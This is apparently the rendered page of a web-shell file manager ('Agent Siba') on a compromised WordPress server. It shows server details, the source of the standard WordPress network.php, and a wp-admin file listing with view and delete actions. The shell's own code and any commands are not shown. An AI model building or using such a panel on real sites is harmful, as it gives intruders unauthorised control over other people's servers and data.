Agent Siba

User: www-data Host: 18th-ph-latest OS: Linux PHP: 8.2.28 SAPI: apache2handler
// var/www/html/admin-staging..
<?php /** * Network installation administration panel. * * A multi-step process allowing the user to enable a network of WordPress sites. * * @since 3.0.0 * * @package WordPress * @subpackage Administration */ define( 'WP_INSTALLING_NETWORK', true ); /** WordPress Administration Bootstrap */ require_once( dirname( __FILE__ ) . '/admin.php' ); if ( ! current_user_can( 'setup_network' ) ) { wp_die( __( 'Sorry, you are not allowed to manage options for this site.' ) ); } if ( is_multisite() ) { if ( ! is_network_admin() ) { wp_redirect( network_admin_url( 'setup.php' ) ); exit; } if ( ! defined( 'MULTISITE' ) ) { wp_die( __( 'The Network creation panel is not for WordPress MU networks.' ) ); } } require_once( dirname( __FILE__ ) . '/includes/network.php' ); // We need to create references to ms global tables to enable Network. foreach ( $wpdb->tables( 'ms_global' ) as $table => $prefixed_table ) { $wpdb->$table = $prefixed_table; } if ( ! network_domain_check() && ( ! defined( 'WP_ALLOW_MULTISITE' ) || ! WP_ALLOW_MULTISITE ) ) { wp_die( printf( /* translators: 1: WP_ALLOW_MULTISITE 2: wp-config.php */ __( 'You must define the %1$s constant as true in your %2$s file to allow creation of a Network.' ), '<code>WP_ALLOW_MULTISITE</code>', '<code>wp-config.php</code>' ) ); } if ( is_network_admin() ) { $title = __( 'Network Setup' ); $parent_file = 'settings.php'; } else { $title = __( 'Create a Network of WordPress Sites' ); $parent_file = 'tools.php'; } $network_help = '<p>' . __('This screen allows you to configure a network as having subdomains (<code>site1.example.com</code>) or subdirectories (<code>example.com/site1</code>). Subdomains require wildcard subdomains to be enabled in Apache and DNS records, if your host allows it.') . '</p>' . '<p>' . __('Choose subdomains or subdirectories; this can only be switched afterwards by reconfiguring your installation. Fill out the network details, and click Install. If this does not work, you may have to add a wildcard DNS record (for subdomains) or change to another setting in Permalinks (for subdirectories).') . '</p>' . '<p>' . __('The next screen for Network Setup will give you individually-generated lines of code to add to your wp-config.php and .htaccess files. Make sure the settings of your FTP client make files starting with a dot visible, so that you can find .htaccess; you may have to create this file if it really is not there. Make backup copies of those two files.') . '</p>' . '<p>' . __('Add the designated lines of code to wp-config.php (just before <code>/*...stop editing...*/</code>) and <code>.htaccess</code> (replacing the existing WordPress rules).') . '</p>' . '<p>' . __('Once you add this code and refresh your browser, multisite should be enabled. This screen, now in the Network Admin navigation menu, will keep an archive of the added code. You can toggle between Network Admin and Site Admin by clicking on the Network Admin or an individual site name under the My Sites dropdown in the Toolbar.') . '</p>' . '<p>' . __('The choice of subdirectory sites is disabled if this setup is more than a month old because of permalink problems with &#8220;/blog/&#8221; from the main site. This disabling will be addressed in a future version.') . '</p>' . '<p><strong>' . __('For more information:') . '</strong></p>' . '<p>' . __( '<a href="https://codex.wordpress.org/Create_A_Network">Documentation on Creating a Network</a>' ) . '</p>' . '<p>' . __( '<a href="https://codex.wordpress.org/Tools_Network_Screen">Documentation on the Network Screen</a>' ) . '</p>'; get_current_screen()->add_help_tab( array( 'id' => 'network', 'title' => __('Network'), 'content' => $network_help, ) ); get_current_screen()->set_help_sidebar( '<p><strong>' . __('For more information:') . '</strong></p>' . '<p>' . __( '<a href="https://codex.wordpress.org/Create_A_Network">Documentation on Creating a Network</a>' ) . '</p>' . '<p>' . __( '<a href="https://codex.wordpress.org/Tools_Network_Screen">Documentation on the Network Screen</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/">Support Forums</a>' ) . '</p>' ); include( ABSPATH . 'wp-admin/admin-header.php' ); ?> <div class="wrap"> <h1><?php echo esc_html( $title ); ?></h1> <?php if ( $_POST ) { check_admin_referer( 'install-network-1' ); require_once( ABSPATH . 'wp-admin/includes/upgrade.php' ); // Create network tables. install_network(); $base = parse_url( trailingslashit( get_option( 'home' ) ), PHP_URL_PATH ); $subdomain_install = allow_subdomain_install() ? !empty( $_POST['subdomain_install'] ) : false; if ( ! network_domain_check() ) { $result = populate_network( 1, get_clean_basedomain(), sanitize_email( $_POST['email'] ), wp_unslash( $_POST['sitename'] ), $base, $subdomain_install ); if ( is_wp_error( $result ) ) { if ( 1 == count( $result->get_error_codes() ) && 'no_wildcard_dns' == $result->get_error_code() ) network_step2( $result ); else network_step1( $result ); } else { network_step2(); } } else { network_step2(); } } elseif ( is_multisite() || network_domain_check() ) { network_step2(); } else { network_step1(); } ?> </div> <?php include( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Name Size Perms Owner Modified Actions
../ - rwxr-xr-x 33:33 2026-07-25 00:04 Del
css/ - rwxrwxr-x 33:33 2019-10-12 07:58 Del
images/ - rwxrwxr-x 33:33 2019-10-12 07:58 Del
includes/ - rwxrwxr-x 33:33 2026-07-24 08:13 Del
js/ - rwxrwxr-x 33:33 2019-10-12 07:59 Del
maint/ - rwxrwxr-x 33:33 2026-07-24 08:13 Del
network/ - rwxrwxr-x 33:33 2019-10-12 08:00 Del
user/ - rwxrwxr-x 33:33 2026-07-24 08:25 Del
about.php 33.42 KB rw-rw-r-- 33:33 2019-09-05 10:34 View Del
admin-ajax.php 4.24 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
admin-footer.php 2.55 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
admin-functions.php 405 B rw-rw-r-- 33:33 2019-06-01 07:08 View Del
admin-header.php 7.49 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
admin-post.php 1.65 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
admin.php 10.28 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
async-upload.php 3.48 KB rw-rw-r-- 33:33 2019-09-05 10:34 View Del
comment.php 10.21 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
credits.php 4.78 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
custom-background.php 19.43 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
custom-header.php 45.31 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
customize.php 9.26 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
edit-comments.php 13.64 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
edit-form-advanced.php 26.87 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
edit-form-blocks.php 12.82 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
edit-form-comment.php 7.19 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
edit-link-form.php 5.9 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
edit-tag-form.php 9.08 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
edit-tags.php 20.01 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
edit.php 16.31 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
error_log 1.76 MB rw-rw-r-- 33:33 2019-09-26 12:41 View Del
export.php 10.46 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
freedoms.php 4.95 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
import.php 7.03 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
index.php 6.01 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
install-helper.php 5.62 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
install.php 15.78 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
link-add.php 700 B rw-rw-r-- 33:33 2019-06-01 07:08 View Del
link-manager.php 3.83 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
link-parse-opml.php 2.34 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
link.php 2.56 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
load-scripts.php 1.57 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
load-styles.php 2.16 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
media-new.php 3.02 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
media-upload.php 3.26 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
media.php 5.14 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
menu-header.php 9.28 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
menu.php 13.35 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
moderation.php 320 B rw-rw-r-- 33:33 2019-06-01 07:08 View Del
ms-admin.php 211 B rw-rw-r-- 33:33 2019-06-01 07:08 View Del
ms-delete-site.php 3.9 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
ms-edit.php 231 B rw-rw-r-- 33:33 2019-06-01 07:08 View Del
ms-options.php 236 B rw-rw-r-- 33:33 2019-06-01 07:08 View Del
ms-sites.php 228 B rw-rw-r-- 33:33 2019-06-01 07:08 View Del
ms-themes.php 230 B rw-rw-r-- 33:33 2019-06-01 07:08 View Del
ms-upgrade-network.php 232 B rw-rw-r-- 33:33 2019-06-01 07:08 View Del
ms-users.php 228 B rw-rw-r-- 33:33 2019-06-01 07:08 View Del
my-sites.php 4.51 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
nav-menus.php 39.85 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
network.php 5.2 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
options-discussion.php 14.4 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
options-general.php 14.65 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
options-head.php 488 B rw-rw-r-- 33:33 2019-06-01 07:08 View Del
options-media.php 5.92 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
options-permalink.php 17.78 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
options-reading.php 8.16 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
options-writing.php 8.1 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
options.php 11.42 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
php_errorlog 83.23 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
plugin-editor.php 12.72 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
plugin-install.php 6.07 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
post-new.php 2.63 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
post.php 8.87 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
press-this.php 2.25 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
privacy.php 7.74 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
profile.php 296 B rw-rw-r-- 33:33 2019-06-01 07:08 View Del
revision.php 4.92 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
setup-config.php 14.81 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
term.php 2.06 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
theme-editor.php 14.06 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
theme-install.php 14.57 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
themes.php 20.82 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
tools.php 2.52 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
update-core.php 30.49 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
update.php 10 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
upgrade-functions.php 340 B rw-rw-r-- 33:33 2019-06-01 07:08 View Del
upgrade.php 4.41 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
upload.php 12.92 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
user-edit.php 26.94 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
user-new.php 21.18 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
users.php 17.9 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
widgets.php 18.04 KB rw-rw-r-- 33:33 2019-06-01 07:08 View Del
WordPress › Error
You do not have permission to access this page. Please log in and try again.